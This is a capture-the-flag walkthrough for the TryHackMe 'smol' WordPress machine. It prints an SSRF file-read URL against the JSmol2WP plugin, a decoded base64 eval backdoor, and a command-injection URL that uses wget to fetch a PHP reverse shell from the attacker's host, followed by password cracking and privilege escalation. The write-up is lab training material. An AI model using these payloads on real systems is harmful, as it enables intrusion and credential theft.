TryHackMe - smol

A Medium difficulty CTF on TryHackMe testing enumeration skills

TryHackMe - smol

Enumeration

Begin where we always begin, scan with nmap. Note it will be handy, and probably necessary, to add the IP address of the machine to your /etc/hosts file or equivalent. When we go to look at the web app in a browser, it's going to expect the domain to be smol.thm in order to work.

➜  smol  git:(main) ✗ nmap -sV -sC --open -p- -Pn www.smol.thm
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 23:27 PDT
Nmap scan report for www.smol.thm (10.10.187.199)
Host is up (0.14s latency).
Not shown: 65319 closed tcp ports (reset), 214 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 6.7.1
|_http-title: AnotherCTF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.30 seconds

Wordpress

When looking at a CTF machine running Wordpress, it's usually a vulnerable plugin or theme. wpscan is a terrific tool for finding what's running (and likely vulnerable) on a given site install.

[+] jsmol2wp
 | Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
 | Latest Version: 1.07 (up to date)
 | Last Updated: 2018-03-09T10:28:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: JSmol2WP <= 1.07 - Unauthenticated Cross-Site Scripting (XSS)
 |     References:
 |      - https://wpscan.com/vulnerability/0bbf1542-6e00-4a68-97f6-48a7790d1c3e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20462
 |      - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
 |
 | [!] Title: JSmol2WP <= 1.07 - Unauthenticated Server Side Request Forgery (SSRF)
 |     References:
 |      - https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20463
 |      - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
 |
 | Version: 1.07 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt

It doesn't take a genius to know that if there is some part of a CTF that corresponds to the CTFs name or title, that's almost certainly going to be involved in one or more of the steps. (See tomghost, for example). What this SSRF vulnerability in JSmol2WP allows us to do is either cause the server to make requests to remote hosts, or read files elsewhere on the server's filesystem. Let's read wp-config.php.

http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

In wp-config.php we find our first loot, a username and password for the WordPress database connection:

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', '<redacted>' );

/** Database password */
define( 'DB_PASSWORD', '<redacted>' );

Try The Loot

Although the username and password found in wp-config.php should be for authenticating to the database service, it's all we've got so far, so let's try and log in to the admin area of the website. Turns out you can login as a WordPress user with those credentials, but now you've got to figure out what to do next.

Your options are limited with this account. You can upload media but there doesn't appear to be any way to trick it into uploading PHP, adding plugins, or otherwise injecting code. I spent a fair amount of time trying to think of other files we might want to read with the SSRF. /etc/passwd always comes to mind, if for no other reason than to find out what user accounts there might be on the system:

think:x:1000:1000:,,,:/home/think:/bin/bash
xavi:x:1001:1001::/home/xavi:/bin/bash
diego:x:1002:1002::/home/diego:/bin/bash
gege:x:1003:1003::/home/gege:/bin/bash

That's going to be useful later on. Finally I decided to read the any other plugins, after all there is a hint in the room's description:

Enhancing the learning experience, Smol introduces a backdoored plugin, emphasizing the significance of meticulous code inspection before integrating third-party components.

A backdoored plugin sounds different than just a vulnerable plugin. That, coupled with the fact that there is a page we now have access to with wpuser listing TODO items including inspecting plugin code, is a pretty strong hint. The only other plugin is a default one called hello.php

// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
        eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));

That doesn't look normal, so it's certainly promising. Base64 decoding that string gives us the code that will be eval'd:

 if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); } 

"\143\155\x64" = "cmd"
"\143\x6d\144"
= "cmd"

So this will execute the contents of a query parameter named cmd on any page that executes the hello.php plugin, perfect!

http://www.smol.thm/wp-admin/edit.php?cmd=ls

I tried being clever and fitting a reverse shell in to the query parameter, but in the end I determined the system had wget installed, so I had it fetch a php-reverse-shell.php from my attack machine's handy temporary python web server.

http://www.smol.thm/wp-admin/edit.php?cmd=wget+http%3A%2F%2F10.2.28.106%3A8080%2Fphp-reverse-shell.php

➜  smol  git:(main) ✗ python -m http.server -b 10.2.28.106 8080
Serving HTTP on 10.2.28.106 port 8080 (http://10.2.28.106:8080/) ...
10.10.196.3 - - [02/Apr/2025 00:05:48] "GET /php-reverse-shell.php HTTP/1.1" 200 -

attack machine's web server

We're In

➜  smol  git:(main) ✗ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.2.28.106] from www.smol.thm [10.10.196.3] 57570
Linux smol 5.4.0-156-generic #173-Ubuntu SMP Tue Jul 11 07:25:22 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 07:08:11 up  1:04,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

attack machine listening for reverse shell

You'll want to upgrade your shell for the next part with something like python3 -c 'import pty; pty.spawn("/bin/bash")' so that we can interact with mysql.

Dump the wp_users Table

mysql> select * from wp_users;
select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
| ID | user_login | user_pass                          | user_nicename | user_email         | user_url            | user_registered     | user_activation_key | user_status | display_name           |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
|  1 | admin      | $P$<redacted> | admin         | admin@smol.thm     | http://www.smol.thm | 2023-08-16 06:58:30 |                     |           0 | admin                  |
|  2 | wpuser     | $P$<redacted> | wp            | wp@smol.thm        | http://smol.thm     | 2023-08-16 11:04:07 |                     |           0 | wordpress user         |
|  3 | think      | $P$<redacted> | think         | josemlwdf@smol.thm | http://smol.thm     | 2023-08-16 15:01:02 |                     |           0 | Jose Mario Llado Marti |
|  4 | gege       | $P$<redacted> | gege          | gege@smol.thm      | http://smol.thm     | 2023-08-17 20:18:50 |                     |           0 | gege                   |
|  5 | diego      | $P$<redacted> | diego         | diego@local        | http://smol.thm     | 2023-08-17 20:19:15 |                     |           0 | diego                  |
|  6 | xavi       | $P$<redacted> | xavi          | xavi@smol.thm      | http://smol.thm     | 2023-08-17 20:20:01 |                     |           0 | xavi                   |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
6 rows in set (0.00 sec)

So now we have WordPress users and hashed passwords. We already know wpuser's password, but maybe if we can crack the others' we'll have more loot.

Crack WordPress Passwords

Generally I think John the Ripper runs faster on my crappy laptop, but I often forget how to convert various formats necessary so I just ran hashcat and went to sleep.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 400 (phpass)
Hash.Target......: hashes.txt
Time.Started.....: Wed Apr  2 01:09:26 2025 (5 hours, 10 mins)
Time.Estimated...: Wed Apr  2 06:19:43 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     3172 H/s (4.26ms) @ Accel:64 Loops:512 Thr:1 Vec:8
Recovered........: 2/6 (33.33%) Digests (total), 1/6 (16.67%) Digests (new), 2/6 (33.33%) Salts
Progress.........: 86066310/86066310 (100.00%)
Rejected.........: 0/86066310 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:5 Amplifier:0-1 Iteration:7680-8192
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 81c Util: 97%

Started: Wed Apr  2 01:09:24 2025
Stopped: Wed Apr  2 06:19:45 2025

You'll see in the above output that 2 were recovered. This is because I did a test run using the password I found for wpuser to make sure I had my setup and parameters right before waiting 4+ hours for results. The other recovered password is for one of the other accounts so now we can try that password elsewhere.

Pivot to diego, Find user.txt

$ su diego
Password: <redacted>

And we've found our first flag in diego's home directory:

cat user.txt
45edaec653ff9ee06236b7ce72b86963

Now we're going to look around for privilege escalation or further pivoting to other users.

Pivot to think

think's ~.ssh/id_rsa file is readable, so grab that and then ssh to the host as that user. You can use whatever method of getting files you want, ftp or HTTP upload to your attack machine, etc.

➜  smol  git:(main) ✗ ssh -i id_rsa think@www.smol.thm
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)

think@smol:~$ whoami
think

ssh to target using private key of think

If nothing else now we have a first class shell and a way to get back in more easily than invoking a reverse shell. I did some of the usual poking around looking for privilege escalation or other information but nothing really panned out.

Eventually we find a backup file that looks familiar: /opt/wp_backup.sql. In that file we find more hashed passwords, and use hashcat again, hoping to crack another user's password and hoping that password will be useful for something other than logging in to the WordPress site.

More Loot

We crack another password , which appears to be for the user gege but it's not their password to the server. Instead we also find another back up file in gege's home directory called wordpress.old.zip. It is password protected, and lo and behold, the newly cracked password works on it.

Finally root via xavi

In the wordpress.old.zip is yet another wp-config.php 😂 and in it another password, apparently for xavi. We can pivot to xavi and try our luck. I always check for sudo capabilities, which usually require re-entering the user's password, which we have for this case:

xavi@smol:~$ sudo -l
[sudo] password for xavi: 
Matching Defaults entries for xavi on smol:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xavi may run the following commands on smol:
    (ALL : ALL) ALL
xavi@smol:~$ sudo su
root@smol:/home/xavi$ whoami
root

Welp there we go, now we have root.txt and the last flag.

Conclusion

  • Don't re-use passwords across use cases
  • Don't use passwords that can be found in password lists
  • Be careful with loose permissions
  • Don't trust 3rd party code that's going to execute on your site without review